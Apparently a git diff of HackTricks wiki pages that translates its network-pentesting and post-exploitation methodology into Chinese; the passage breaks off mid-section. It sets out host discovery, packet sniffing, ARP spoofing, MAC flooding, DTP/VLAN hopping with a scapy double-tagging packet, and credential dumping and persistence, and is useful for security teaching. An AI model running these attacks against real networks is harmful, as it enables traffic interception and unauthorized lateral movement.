+在这里你可以找到一篇[**方法论,解释最常见的操作以枚举、提升特权和在活动目录中持久化**](../windows-hardening/active-directory-methodology/)。即使这只是一个部分的子部分,这个过程在渗透测试/红队任务中可能是**极其微妙**的。 ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - 掠夺 -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +检查你是否可以在主机中找到更多**密码**,或者你是否有**访问其他机器**的**用户权限**。\ +在这里找到不同的方法来[**在 Windows 中转储密码**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)。 -#### 11.2 - Persistence +#### 11.2 - 持久性 -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**使用 2 或 3 种不同类型的持久性机制,这样你就不需要再次利用系统。**\ +**在这里你可以找到一些** [**关于活动目录的持久性技巧**](../windows-hardening/active-directory-methodology/#persistence)**。** -TODO: Complete persistence Post in Windows & Linux +TODO: 完成 Windows 和 Linux 的持久性后期处理 -### 12 - Pivoting +### 12 - 透视 -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +通过**收集到的凭据**,你可能可以访问其他机器,或者你可能需要**发现和扫描新主机**(重新开始渗透测试方法论)在受害者连接的新网络中。\ +在这种情况下,隧道可能是必要的。这里你可以找到[**关于隧道的文章**](../generic-hacking/tunneling-and-port-forwarding.md)。\ +你绝对应该查看关于[活动目录渗透测试方法论](../windows-hardening/active-directory-methodology/)的文章。在那里你会找到很酷的技巧来横向移动、提升特权和转储凭据。\ +还要查看关于[**NTLM**](../windows-hardening/ntlm/)的页面,这在 Windows 环境中可能非常有用。 -### MORE +### 更多 -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Android 应用程序](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **利用** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**基本 Linux 利用**](broken-reference/) +- [**基本 Windows 利用**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**基本利用工具**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**基本 Python**](python/) -#### **Crypto tricks** +#### **加密技巧** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) -- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) +- [**填充 Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..b182be59c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,83 +2,69 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## 从外部发现主机 -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +这将是一个关于如何从**互联网**找到**响应的IP**的**简要部分**。\ +在这种情况下,您有一些**IP范围**(甚至可能有几个**范围**),您只需找到**哪些IP在响应**。 ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +这是发现主机是否在线的**最简单**和**最快**的方法。\ +您可以尝试发送一些**ICMP**数据包并**期待响应**。最简单的方法是发送一个**回显请求**并期待响应。您可以使用简单的`ping`或使用`fping`进行**范围**测试。\ +您还可以使用**nmap**发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤)。 ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### TCP端口发现 -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +很常见的是发现所有类型的ICMP数据包都被过滤。因此,您能做的就是**尝试查找开放端口**来检查主机是否在线。每个主机有**65535个端口**,所以如果您有一个“大的”范围,您**无法**测试每个主机的**每个端口**是否开放,这将花费太多时间。\ +因此,您需要的是一个**快速端口扫描器** ([masscan](https://github.com/robertdavidgraham/masscan)) 和一个**最常用端口**的列表: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +您也可以使用 `nmap` 执行此步骤,但它较慢,并且 `nmap` 在识别主机时存在一些问题。 -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### HTTP 端口发现 +这只是一个 TCP 端口发现,当您想要 **专注于发现 HTTP** **服务** 时非常有用: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### UDP端口发现 -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +您还可以尝试检查一些**UDP端口是否开放**,以决定是否应该**更加关注**一个**主机**。由于UDP服务通常**不响应**常规空UDP探测数据包,因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的包,由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +提议的 nmap 命令将测试每个 **/24** 范围内的 **前 1000 个 UDP 端口**,但仅此操作将需要 **>20分钟**。如果需要 **最快的结果**,可以使用 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` 这将向其 **预期端口** 发送这些 **UDP 探测**(对于 /24 范围,这只需 1 分钟):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### SCTP 端口发现 ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +在这里,您可以找到一份关于撰写时所有知名Wifi攻击的优秀指南: {{#ref}} ../pentesting-wifi/ {{#endref}} -## Discovering hosts from the inside +## 从内部发现主机 -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +如果您在网络内部,您首先想要做的事情之一就是**发现其他主机**。根据您可以/想要制造的**噪音**,可以执行不同的操作: ### Passive -You can use these tools to passively discover hosts inside a connected network: - +您可以使用这些工具在连接的网络中被动发现主机: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### 活动 -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +请注意,在 [_**从外部发现主机**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP 端口发现_) 中提到的技术也可以在这里 **应用**。\ +但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +注意,在 _从外部发现主机_ 中评论的技术 ([_**ICMP**_](./#icmp)) 也可以 **在这里应用**。\ +但是,由于您与其他主机在 **同一网络** 中,您可以做 **更多事情**: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- 如果您 **ping** 一个 **子网广播地址**,ping 应该到达 **每个主机**,它们可能会 **响应** **您**: `ping -b 10.10.5.255` +- ping **网络广播地址**,您甚至可以找到 **其他子网** 内的主机: `ping -b 255.255.255.255` +- 使用 `nmap` 的 `-PE`、`-PP`、`-PM` 标志进行主机发现,分别发送 **ICMPv4 回显**、**时间戳**和 **子网掩码请求**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan 用于通过 **网络消息** **开启** 计算机。用于开启计算机的魔术数据包仅仅是一个提供了 **MAC Dst** 的数据包,然后在同一个数据包中 **重复 16 次**。\ +然后,这种类型的数据包通常以 **以太网 0x0842** 或 **UDP 数据包发送到端口 9**。\ +如果 **未提供 \[MAC]**,数据包将发送到 **广播以太网**(广播 MAC 将是被重复的那个)。 ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## 扫描主机 -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +一旦您发现了所有要深入扫描的 IP(外部或内部),可以执行不同的操作。 ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **开放**端口:_SYN --> SYN/ACK --> RST_ +- **关闭**端口:_SYN --> RST/ACK_ +- **过滤**端口:_SYN --> \[无响应]_ +- **过滤**端口:_SYN --> ICMP 消息_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +有两种选项可以扫描UDP端口: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- 发送一个**UDP数据包**并检查响应_**ICMP不可达**_,如果端口是**关闭**的(在许多情况下,ICMP会被**过滤**,因此您将无法收到端口是关闭还是打开的任何信息)。 +- 发送**格式化的数据报**以引发**服务**的响应(例如,DNS、DHCP、TFTP等,如_nmap-payloads_中列出)。如果您收到**响应**,那么端口是**打开**的。 +**Nmap**将使用“-sV”**混合这两种**选项(UDP扫描非常慢),但请注意,UDP扫描比TCP扫描慢: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### SCTP 扫描 -### SCTP Scan +**SCTP (流控制传输协议)** 旨在与 **TCP (传输控制协议)** 和 **UDP (用户数据报协议)** 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多 **信令系统 7 (SS7)** 中的可靠性特征。**SCTP** 是 **SIGTRAN** 协议族的核心组成部分,旨在通过 IP 网络传输 SS7 信号。 -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. - -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +各种操作系统提供对 **SCTP** 的支持,如 **IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS** 和 **VxWorks**,这表明它在电信和网络领域的广泛接受和实用性。 +nmap 提供了两种不同的 SCTP 扫描: _-sY_ 和 _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDS 和 IPS 规避 {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **更多 nmap 选项** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### 揭示内部 IP 地址 +**配置错误的路由器、防火墙和网络设备** 有时会使用 **非公开源地址** 对网络探测做出响应。**tcpdump** 可用于识别在测试期间从私有地址接收的数据包。具体来说,在 Kali Linux 上,可以在 **eth2 接口** 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于 NAT 或防火墙后面,这些数据包可能会被过滤掉。 ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` +## 嗅探 -## Sniffing +通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力下,攻击者可以通过被动网络嗅探捕获敏感材料。 -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. - -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +如果交换以太网网络配置正确,您将只看到广播帧和发往您 MAC 地址的材料。 ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。 ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +显然。 -### Capturing credentials +### 捕获凭据 -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +您可以使用像 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 这样的工具从 pcap 或实时接口中解析凭据。 -## LAN attacks +## LAN 攻击 -### ARP spoofing +### ARP 欺骗 -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 地址具有我们设备的 MAC 地址。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时与我们的机器联系。 #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Flooding - CAM溢出 -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表满时,交换机开始像集线器一样工作(广播所有流量)。 ```bash macof -i ``` +在现代交换机中,这个漏洞已经被修复。 -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP 攻击 -### 802.1Q VLAN / DTP Attacks +#### 动态干道 -#### Dynamic Trunking +**动态干道协议 (DTP)** 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式 (Trunk) 或非干道模式的端口。**DTP** 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。 -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来绕过 VLAN 分段。 -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +许多交换机默认存在 DTP,敌手可以利用这一点来模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。 +如果发现网络脆弱性,可以使用 _**Yersinia**_ 工具通过 DTP 协议“启用干道”,以便观察来自所有 VLAN 的数据包。 ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +要枚举VLAN,也可以使用脚本 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。**在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +我想指出,**Access/Desirable (0x03)** 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。并且 **802.1Q/802.1Q (0xa5)** 表示 **802.1Q** 封装类型。 -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +通过分析 STP 帧,**我们了解到 VLAN 30 和 VLAN 60 的存在。**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### 攻击特定 VLAN +一旦你知道 VLAN ID 和 IP 值,你可以 **配置一个虚拟接口来攻击特定 VLAN**。\ +如果 DHCP 不可用,则使用 _ifconfig_ 设置静态 IP 地址。 ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### 自动VLAN跳跃 -#### Automatic VLAN Hopper +讨论的攻击**动态干线和创建虚拟接口以发现其他VLAN中的主机**是由工具**[https://github.com/nccgroup/vlan-hopping---frogger](https://github.com/nccgroup/vlan-hopping---frogger)**自动执行的。 -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### 双重标记 -#### Double Tagging +如果攻击者知道**受害主机的MAC、IP和VLAN ID的值**,他可以尝试**用其指定的VLAN和受害者的VLAN双重标记一个帧**并发送一个数据包。由于**受害者无法与攻击者连接**,因此**攻击者的最佳选择是通过UDP与可以执行一些有趣操作的协议进行通信**(如SNMP)。 -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +攻击者的另一个选择是发起**TCP端口扫描,伪装成一个由攻击者控制并且受害者可以访问的IP**(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探是否接收到来自受害者的一些数据包。 ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +要执行此攻击,可以使用scapy:`pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +如果您**可以访问直接连接的交换机**,您就有能力**绕过 VLAN 分段**。只需**将端口切换到干道模式**(也称为 trunk),创建具有目标 VLAN ID 的虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。 {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有 VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或配置不当,使得 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。 -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +攻击是通过创建一个**携带目标客户端 IP 地址但带有路由器 MAC 地址的包**来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。 -**Key Steps of the Attack:** +**攻击的关键步骤:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **构造数据包:** 特别构造一个数据包,以包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。 +2. **利用路由器行为:** 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。 ### VTP Attacks -VTP (VLAN 